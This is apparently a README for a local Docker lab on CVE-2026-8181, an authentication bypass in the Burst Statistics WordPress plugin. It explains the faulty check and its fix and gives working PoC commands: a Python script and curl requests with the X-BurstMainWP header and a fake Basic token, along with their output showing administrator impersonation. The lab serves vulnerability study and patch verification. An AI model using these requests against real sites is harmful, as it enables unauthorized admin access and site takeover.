Docker lab demonstrating CVE-2026-8181 authentication bypass in Burst Statistics WordPress plugin. Compares vulnerable and patched versions with a least-harm PoC to illustrate improper authentication in REST API requests.
Local-only Docker lab for CVE-2026-8181, an authentication bypass in the WordPress plugin Burst Statistics – Privacy-Friendly WordPress Analytics.
This lab compares a vulnerable plugin version against the patched version and uses a least-harm PoC to prove the difference without creating users, uploading files, or modifying WordPress state.
Affected plugin: Burst Statistics – Privacy-Friendly WordPress Analytics
Affected versions: 3.4.0 to 3.4.1.1
Patched version: 3.4.2
Vulnerability type: Authentication Bypass / Improper Authentication
Impact: Unauthenticated attacker can impersonate an administrator for the duration of a REST API request if they know a valid administrator username.
In this lab:
vuln runs Burst Statistics 3.4.1.1patched runs Burst Statistics 3.4.2X-BurstMainWP: 1| Service | Description | URL |
|---|---|---|
vuln | WordPress + Burst Statistics 3.4.1.1 | http://127.0.0.1:8081 |
patched | WordPress + Burst Statistics 3.4.2 | http://127.0.0.1:8082 |
db_vuln | MySQL for vulnerable WordPress | Internal only |
db_patched | MySQL for patched WordPress | Internal only |
seed | One-shot WP-CLI setup container | Internal only |
The seed service installs WordPress, creates the lab administrator, and activates Burst Statistics in both environments.
Lab administrator username:
labadmin
The PoC intentionally uses a wrong password to prove the bypass.
Burst Statistics includes a MainWP-related proxy authentication path. When a REST API request includes this header:
X-BurstMainWP: 1
Burst delegates authentication to MainWP_Proxy::is_mainwp_authenticated().
In the vulnerable version, the function reads attacker-controlled Basic Authentication credentials, extracts the username and password, and passes them to WordPress core:
$is_valid = wp_authenticate_application_password( null, $username, $password );
The bug is the return-value check.
3.4.1.1Simplified from includes/Frontend/class-mainwp-proxy.php:
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
The vulnerable code only rejects WP_Error. However, wp_authenticate_application_password() may return null or another non-user value when authentication did not actually succeed. Since null is not a WP_Error, the check passes.
After that, the plugin looks up the supplied username and calls:
wp_set_current_user( $user->ID );
This makes WordPress treat the current REST API request as that user. If the username belongs to an administrator, WordPress capability checks see an administrator for the rest of the request.
The patched version fixes the authentication check by requiring a real authenticated user object before proceeding.
3.4.2Conceptually, the fix is:
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
The important change is that a merely “non-error” return value is no longer enough. The authentication result must be an actual \WP_User object.
This blocks the vulnerable path where null bypasses the old is_wp_error() check.
The lab demonstrates a read-only proof using:
/wp/v2/users/me?context=edit
That endpoint is enough to show whether WordPress considers the request authenticated.
Real-world impact can be higher than this lab proof. If an attacker can impersonate an administrator for a REST API request, they may be able to access privileged WordPress endpoints. In common WordPress configurations, administrator access can lead to persistent site takeover through account creation, application passwords, plugin installation, theme modification, or other administrative actions.
This repository intentionally avoids those destructive paths.
docker compose up -d --build
Wait for the one-shot seed service to finish:
docker compose logs seed
Expected seed output:
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
Install Python dependency:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Run the PoC against the vulnerable service:
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
Expected vulnerable result:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
Run the same PoC against the patched service:
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
Expected patched result:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
Generate a fake Basic Authentication token:
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
Baseline request without bypass headers:
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Expected:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Bypass attempt:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Expected:
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
Run the same bypass attempt against the patched service:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
Expected:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
The vulnerable service shows the behavior change clearly:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
The patched service rejects both unauthenticated and bypass attempts:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
This PoC is intentionally least-harm:
Use this lab only on your own local Docker environment.